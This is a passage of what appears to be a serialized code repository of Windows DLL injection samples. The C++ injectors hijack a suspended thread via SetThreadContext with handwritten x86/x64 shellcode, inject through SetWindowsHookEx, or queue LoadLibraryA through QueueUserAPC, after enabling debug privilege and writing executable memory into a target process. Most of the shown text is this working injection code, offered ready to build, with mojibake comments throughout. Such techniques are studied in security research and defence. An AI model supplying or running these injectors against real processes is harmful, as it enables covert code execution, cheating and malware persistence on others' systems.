0xcc, 0xcc, 0xcc, 0xcc,\r\n 0xff, 0xd0,\r\n\r\n 0x48,0x83,0xc4,0x28, // [+16] add rsp,28h\r\n //0xcc, ʱint 3 еʱdzɵƵû...ѹһֱ\r\n 0xff,0x25, // [+20]\r\n 0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6\r\n\r\n 0xaa,0xbb,0xcc,0xdd, //+26\r\n 0xaa,0xbb,0xcc,0xdd \r\n //+34\r\n};\r\n\r\nBOOL EnableDebugPriv() ;\r\nBOOL StartHook(HANDLE hProcess,HANDLE hThread);\r\n\r\n\nDWORD main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)\n{\n DWORD dwProcessId = 0;\n HANDLE hSnapshot = NULL;\n PROCESSENTRY32 pe = { 0 };\n DWORD eReturn = 0;\n\n hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n if (NULL == hSnapshot)\n {\n eReturn = -1;\n printf(\"CreateToolhelp32Snapshot error. GLE: %d.\", GetLastError());\n goto lblCleanup;\n }\n\n pe.dwSize = sizeof(PROCESSENTRY32);\n if (FALSE == Process32First(hSnapshot, &pe))\n {\n eReturn = -1;\n printf(\"Process32First error. GLE: %d.\", GetLastError());\n goto lblCleanup;\n }\n\n do\n {\n if (NULL != wcsstr(pe.szExeFile, pszProcessName))\n {\n dwProcessId = pe.th32ProcessID;\n break;\n }\n } while (Process32Next(hSnapshot, &pe));\n\n if (0 == dwProcessId)\n {\n printf(\"[*] Process '%S' could not be found.\\n\\n\\n\", pszProcessName);\n eReturn = -1;\n goto lblCleanup;\n }\n\n printf(\"[*] Found process '%S'. PID: %d (0x%X).\\n\\n\\n\", pszProcessName, dwProcessId, dwProcessId);\n *pdwProcessId = dwProcessId;\n eReturn = 0;\n\nlblCleanup:\n if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))\n {\n CloseHandle(hSnapshot);\n hSnapshot = NULL;\n }\n return eReturn;\n\n}\r\n\r\nint _tmain(int argc, _TCHAR* argv[])\r\n{\r\n EnableDebugPriv() ;\r\n\r\n DWORD ProcessId = 0;\r\n#ifdef _WIN64\r\n main_GetProcessIdByName(L\"targetx64.exe\", &ProcessId);\r\n#else\r\n main_GetProcessIdByName(L\"target.exe\", &ProcessId);\r\n#endif\r\n \r\n\r\n HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS,NULL,ProcessId);\r\n if(Process == NULL)\r\n {\r\n printf(\"OpenProcess Fail LastError [%d]\\n\", GetLastError());\r\n getchar();\r\n return 0;\r\n }\r\n printf(\"Open Process [%d] OK.\\n\", ProcessId);\r\n\r\n THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ; \r\n HANDLE hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0) ; \r\n if ( hThreadSnap == INVALID_HANDLE_VALUE ) \r\n {\r\n printf(\"CreateToolhelp32Snapshot fail LastError [%d]\\n\", GetLastError());\r\n getchar();\r\n return FALSE; \r\n }\r\n\r\n if (Thread32First(hThreadSnap, &te32)) \r\n { \r\n do{ \r\n if(te32.th32OwnerProcessID == ProcessId)\r\n {\r\n HANDLE Thread = OpenThread(THREAD_ALL_ACCESS,NULL,te32.th32ThreadID);\r\n if(Thread == NULL)\r\n {\r\n printf(\"OpenThread Failed LastError [%d]\\n\", GetLastError());\r\n break;\r\n }\r\n SuspendThread(Thread);\r\n\r\n printf(\"start Hook.\\n\");\r\n if (!StartHook(Process,Thread))\r\n {\r\n printf(\"ʧ\\n\");\r\n getchar();\r\n }\r\n else\r\n {\r\n CloseHandle(Thread);\r\n break;\r\n }\r\n CloseHandle(Thread);\r\n } \r\n }while(Thread32Next(hThreadSnap, &te32)); \r\n } \r\n CloseHandle(Process);\r\n CloseHandle(hThreadSnap); \r\n\r\n getchar();\r\n}\r\n\r\nBYTE *DllPath;\r\nBOOL StartHook(HANDLE hProcess,HANDLE hThread)\r\n{\r\n#ifdef _WIN64 \r\n CONTEXT ctx;\r\n ctx.ContextFlags=CONTEXT_ALL;\r\n if (!GetThreadContext(hThread,&ctx))\r\n {\r\n printf(\"GetThreadContext Error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n\r\n printf(\"getThreadContext OK.\\n\");\r\n LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);\r\n if (LpAddr==NULL)\r\n {\r\n printf(\"VirtualAlloc Error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n DWORD64 LoadDllAAddr=(DWORD64)GetProcAddress(GetModuleHandle(L\"kernel32.dll\"),\"LoadLibraryA\");\r\n if (LoadDllAAddr==NULL)\r\n {\r\n printf(\"LoadDllAddr error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n /*\r\n\r\n 0x48,0x83,0xEC,0x28, //sub rsp ,28h\r\n\r\n 0x48,0x8D,0x0d, // [+4] lea rcx,\r\n 0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7 \r\n\r\n 0x48, 0xB8, // [+11]mov rax, ptr\r\n 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,\r\n 0xff, 0xd0, // [+21] call rax\r\n\r\n 0x48,0x83,0xc4,0x28, // [+23] add rsp,28h\r\n\r\n 0xff,0x25, // [+27]\r\n 0xaa,0xbb,0xcc,0xdd, // [+29] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6\r\n\r\n 0xaa,0xbb,0xcc,0xdd, //+33\r\n 0xaa,0xbb,0xcc,0xdd \r\n //+41\r\n */\r\n DllPath=ShellCode64+41;\r\n strcpy((char*)DllPath,\"Dllx64.dll\");//ҪעDLL\r\n DWORD DllNameOffset = 30;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 ָ7ֽ\r\n *(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset;\r\n ////////////////\r\n DWORD64 LoadDllAddroffset = (DWORD64)LoadDllAAddr;// - ((BYTE*)LpAddr + 11) -5; //ָ5ֽe8 + 4addroffset\r\n *(DWORD64*)(ShellCode64+13)=LoadDllAddroffset;\r\n //////////////////////////////////\r\n \r\n \r\n *(DWORD64*)(ShellCode64+33)=ctx.Rip; //64Ϊrip\r\n *(DWORD*)(ShellCode64+29)= (DWORD)0; //ҽַ+26ĵطoffsetΪ0\r\n \r\n// ΪдתĿַx64 ӦҪתһ Ѱַ\r\n// DWORD Ds = (DWORD)ctx.SegDs;\r\n// DWORD RipOffset = (BYTE*)ctx.Rip - ((BYTE*)LpAddr+20) -6;\r\n// *(DWORD*)(ShellCode64+22)=(DWORD)ctx.Rip;\r\n\r\n ////////////////////////////////////\r\n if (!WriteProcessMemory(hProcess,LpAddr,ShellCode64,64,NULL))\r\n {\r\n printf(\"write Process Error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n ctx.Rip=(DWORD64)LpAddr;\r\n if (!SetThreadContext(hThread,&ctx))\r\n {\r\n printf(\"set thread context error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n\r\n printf(\"SetThreadContext OK.\\n\");\r\n ResumeThread(hThread);\r\n return TRUE;\r\n \r\n#else\r\n CONTEXT ctx = {0};\r\n ctx.ContextFlags=CONTEXT_ALL;\r\n if (!GetThreadContext(hThread,&ctx))\r\n {\r\n printf(\"GetThreadContext Error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n printf(\"GetThreaxContext OK.\\n\");\r\n LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);\r\n if (LpAddr==NULL)\r\n {\r\n printf(\"VirtualAlloc Error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n DWORD LoadDllAAddr=(DWORD)GetProcAddress(GetModuleHandle(L\"kernel32.dll\"),\"LoadLibraryA\");\r\n if (LoadDllAAddr==NULL)\r\n {\r\n printf(\"LoadDllAddr error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n\r\n /////////////\r\n /*\r\n 0x60, PUSHAD\r\n 0x9c, PUSHFD\r\n 0x68, PUSH \r\n 0xaa,0xbb,0xcc,0xdd,//dll path address \r\n 0xff,0x15, CALL\r\n 0xdd,0xcc,0xbb,0xaa, offset \r\n 0x9d, POPFD\r\n 0x61, POPAD\r\n 0xff,0x25, JMP \r\n 0xaa,0xbb,0xcc,0xdd,// [xxxxx]\r\n 0xaa,0xaa,0xaa,0xaa,// LoadLibrary Address\r\n 0xaa,0xaa,0xaa,0xaa// ָEIP Address \r\n // +29 Dll\r\n */\r\n _asm mov esp,esp\r\n DllPath=ShellCode+29;\r\n strcpy((char*)DllPath,\"Dllx86.dll\");//ҪעDLL\r\n *(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29;\r\n ////////////////\r\n *(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibraryַshellcode\r\n *(DWORD*)(ShellCode+9)=(DWORD)LpAddr+21;//޸call ֮ĵַ ΪĿռ loaddlladdrĵַ\r\n //////////////////////////////////\r\n *(DWORD*)(ShellCode+25)=ctx.Eip;\r\n *(DWORD*)(ShellCode+17)=(DWORD)LpAddr+25;//޸jmp ֮Ϊԭeipĵַ\r\n ////////////////////////////////////\r\n if (!WriteProcessMemory(hProcess,LpAddr,ShellCode,64,NULL))\r\n {\r\n printf(\"write Process Error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n ctx.Eip=(DWORD)LpAddr;\r\n if (!SetThreadContext(hThread,&ctx))\r\n {\r\n printf(\"set thread context error LastError [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n printf(\"SetThreadContext OK.\\n\");\r\n ResumeThread(hThread);\r\n return TRUE;\r\n#endif\r\n \r\n};\r\n\r\nBOOL EnableDebugPriv() \r\n{\r\n HANDLE hToken; \r\n LUID sedebugnameValue; \r\n TOKEN_PRIVILEGES tkp;\r\n if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) \r\n { \r\n return FALSE; \r\n } \r\n\r\n if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue)) \r\n { \r\n CloseHandle(hToken); \r\n return FALSE; \r\n } \r\n tkp.PrivilegeCount = 1; \r\n tkp.Privileges[0].Luid = sedebugnameValue; \r\n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \r\n\r\n if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL)) \r\n { \r\n return FALSE; \r\n } \r\n CloseHandle(hToken); \r\n return TRUE;\r\n} \r\n\r\n\r\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {A30978AA-ED87-42CC-9A57-5E52A67FF248}\r\n Win32Proj\r\n InjectDllBySetThreadContextx64\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64/ReadMe.txt", "content": "Inject 32 bit process by change eip to execute the shellcode which will load a dll\nInject 64 bit process by change rip to execute the shellcode which will load a dll\n\nhttp://www.cnblogs.com/aliflycoris/p/5432621.html\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64/stdafx.cpp", "content": "// stdafx.cpp : ֻ׼ļԴļ\r\n// InjectDllBySetThreadContextx64.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: STDAFX.H \r\n// κĸͷļڴļ\r\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64/stdafx.h", "content": "// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include \r\n#include \r\n\r\n\r\n\r\n// TODO: ڴ˴óҪͷļ\r\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h õ߰汾 Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "Inject/SetThreadContext/InjectDllBySetThreadContextx64.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"InjectDllBySetThreadContextx64\", \"InjectDllBySetThreadContextx64\\InjectDllBySetThreadContextx64.vcxproj\", \"{A30978AA-ED87-42CC-9A57-5E52A67FF248}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|x64.Build.0 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "Inject/SetThreadContext/ReadMe.txt", "content": "Inject 32 bit process by change eip to execute the shellcode which will load a dll\nInject 64 bit process by change rip to execute the shellcode which will load a dll\n\nhttp://www.cnblogs.com/aliflycoris/p/5432621.html\n" }, { "path": "Inject/SetWindowsHookEx/ReadMe.txt", "content": "Inject DLL by SetWindowsHookEx\n" }, { "path": "Inject/SetWindowsHookEx/SetWindowsHookEx/SetWindowsHookEx.cpp", "content": "// SetWindowsHookEx.cpp : ̨Ӧóڵ㡣\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \r\n#include \r\nusing namespace std;\r\n#include \"tlhelp32.h\"\r\n\r\nHHOOK Handle = NULL;\r\nLRESULT CALLBACK HookProc\r\n\t(\r\n\tint nCode,\r\n\tWPARAM wParam,\r\n\tLPARAM lParam\r\n\t);\r\nBOOL InstallSetWindowsHookEx(ULONG ProcessId,BOOL Hook)\r\n{\r\n\tif(Hook)\r\n\t{\r\n\t\tHMODULE hModule = LoadLibrary(L\"DllTestx64.dll\");\r\n\t\tif(hModule==NULL)\r\n\t\t{\r\n\t\t\tcout<<\"Loadlibrary Fail\"<>a;\r\n\tInstallSetWindowsHookEx(a,TRUE);\r\n\tcin>>b;\r\n\tif(b==20)\r\n\t{\r\n\t\tInstallSetWindowsHookEx(a,FALSE);\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\n\r\nLRESULT CALLBACK HookProc\r\n\t(\r\n\tint nCode,\r\n\tWPARAM wParam,\r\n\tLPARAM lParam\r\n\t)\r\n{\r\n\tMessageBox(NULL,L\"Suu\",L\"Suu\",1);\r\n\treturn 0;\r\n}" }, { "path": "Inject/SetWindowsHookEx/SetWindowsHookEx/SetWindowsHookEx.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}\r\n Win32Proj\r\n SetWindowsHookEx\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "Inject/SetWindowsHookEx/SetWindowsHookEx/SetWindowsHookEx.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n" }, { "path": "Inject/SetWindowsHookEx/SetWindowsHookEx/stdafx.cpp", "content": "// stdafx.cpp : ֻ׼ļԴļ\r\n// SetWindowsHookEx.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: STDAFX.H \r\n// κĸͷļڴļ\r\n" }, { "path": "Inject/SetWindowsHookEx/SetWindowsHookEx/stdafx.h", "content": "// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include \r\n#include \r\n\r\n\r\n\r\n// TODO: ڴ˴óҪͷļ\r\n" }, { "path": "Inject/SetWindowsHookEx/SetWindowsHookEx/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h õ߰汾 Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "Inject/SetWindowsHookEx/SetWindowsHookEx.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"SetWindowsHookEx\", \"SetWindowsHookEx\\SetWindowsHookEx.vcxproj\", \"{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|x64.Build.0 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "Inject/UserApcInject/ReadMe.txt", "content": "Inject By User APC" }, { "path": "Inject/UserApcInject/UserAPC/Resource.h", "content": "//{{NO_DEPENDENCIES}}\r\n// Microsoft Visual C++ generated include file.\r\n// Used by APC.rc\r\n//\r\n\r\n#define IDS_APP_TITLE 103\r\n\r\n// ¶һĬֵ\r\n//\r\n#ifdef APSTUDIO_INVOKED\r\n#ifndef APSTUDIO_READONLY_SYMBOLS\r\n#define _APS_NEXT_RESOURCE_VALUE 101\r\n#define _APS_NEXT_COMMAND_VALUE 40001\r\n#define _APS_NEXT_CONTROL_VALUE 1000\r\n#define _APS_NEXT_SYMED_VALUE 101\r\n#endif\r\n#endif\r\n" }, { "path": "Inject/UserApcInject/UserAPC/UserAPC.cpp", "content": "/************************************************************************\r\n * \r\n * 1EXEijִ߳еSleepEx()WaitForSingleObjectEx()ʱϵͳͻһжϡ\r\n * 2߳ٴαʱִ̻߳APCеıעĺ\r\n * 3QueueUserAPC()APIжʱ̵߳APCвһָ\r\n * DzLoadlibrary()ִкĻܴﵽעDLLĿġ\r\n * 4) ߳и״̬ΪFALSE򲻻ûAPC\r\n*************************************************************************/\r\n#include \"stdafx.h\"\r\n#include \"UserAPC.h\"\r\n\r\n#include \r\n#include \r\n\r\n#include \r\n#include \r\nusing namespace std;\r\n\r\n#define DEF_BUF_SIZE 1024\r\nBOOL AdjustPrivilege();\r\nBOOL InjectModuleToProcessById(DWORD dwProcessId);\r\n// ڴ洢עģDLL·ȫ\r\nchar szDllPath[DEF_BUF_SIZE] = {0} ;\r\n\r\n\r\nint _tmain(int argc, _TCHAR* argv[])\r\n{\r\n // ȡõǰĿ¼·\r\n GetCurrentDirectoryA(DEF_BUF_SIZE, szDllPath);\r\n\r\n // עģDLL·ȫ\r\n#ifdef _WIN64\r\n strcat ( szDllPath, \"\\\\Dllx64.dll\" ) ;\r\n#else\r\n strcat ( szDllPath, \"\\\\Dllx86.dll\" ) ;\r\n#endif\r\n \r\n DWORD dwProcessId = 0 ;\r\n // ûĿID\r\n while( cout << \"ĿID\" && cin >> dwProcessId && dwProcessId > 0 ) \r\n {\r\n BOOL bRet = InjectModuleToProcessById(dwProcessId);\r\n cout << (bRet ? \"עɹ\":\"עʧ\") << endl ;\r\n }\r\n return 0;\r\n}\r\n\r\n\r\n\r\n// ʹAPCָIDĽעģ\r\nBOOL InjectModuleToProcessById(DWORD dwProcessId)\r\n{\r\n SIZE_T dwRet = 0;\r\n BOOL bStatus = FALSE ;\r\n LPVOID lpData = NULL ;\r\n UINT uLen = strlen(szDllPath) + 1;\r\n\r\n AdjustPrivilege(); //\r\n\r\n // Ŀ\r\n HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);\r\n if(hProcess)\r\n {\r\n // ռ\r\n lpData = VirtualAllocEx ( hProcess, NULL, uLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n if ( lpData )\r\n {\r\n // дҪעģ·ȫ\r\n bStatus = WriteProcessMemory(hProcess, lpData, szDllPath, uLen, (SIZE_T*)(&dwRet));\r\n }\r\n CloseHandle(hProcess);\r\n }\r\n\r\n if (bStatus == FALSE)\r\n return FALSE ;\r\n\r\n // ߳̿\r\n THREADENTRY32 te32 = { sizeof(THREADENTRY32) };\r\n HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n if(hThreadSnap == INVALID_HANDLE_VALUE) \r\n return FALSE ; \r\n\r\n bStatus = FALSE ;\r\n // ö߳\r\n if(Thread32First(hThreadSnap, &te32))\r\n {\r\n do{\r\n // жǷĿе߳\r\n if(te32.th32OwnerProcessID == dwProcessId)\r\n {\r\n // ߳\r\n HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);\r\n if ( hThread )\r\n {\r\n // ָ߳APC\r\n DWORD dwRet1 = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);\r\n if ( dwRet1 > 0 )\r\n {\r\n bStatus = TRUE ;\r\n }\r\n CloseHandle(hThread);\r\n }\r\n } \r\n }while(Thread32Next ( hThreadSnap, &te32));\r\n }\r\n\r\n CloseHandle(hThreadSnap);\r\n return bStatus;\r\n}\r\n\r\n\r\nBOOL AdjustPrivilege()\r\n{\r\n HANDLE hToken;\r\n TOKEN_PRIVILEGES pTP;\r\n LUID uID;\r\n if (!OpenProcessToken(GetCurrentProcess(),\r\n TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) \r\n {\r\n printf(\"OpenProcessToken is Error\\n\");\r\n return false;\r\n }\r\n if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID)) //ʽ\r\n {\r\n printf(\"LookupPrivilegeValue is Error\\n\");\r\n return false;\r\n }\r\n pTP.PrivilegeCount = 1;\r\n pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\r\n pTP.Privileges[0].Luid = uID;\r\n //ǽеȨ\r\n if (!AdjustTokenPrivileges(hToken,false,&pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL))\r\n {\r\n printf(\"AdjuestTokenPrivileges is Error\\n\");\r\n return false;\r\n }\r\n return true;\r\n}\r\n" }, { "path": "Inject/UserApcInject/UserAPC/UserAPC.h", "content": "#pragma once\r\n\r\n#include \"resource.h\"\r\n" }, { "path": "Inject/UserApcInject/UserAPC/UserAPC.vcxproj", "content": "\r\n\r\n 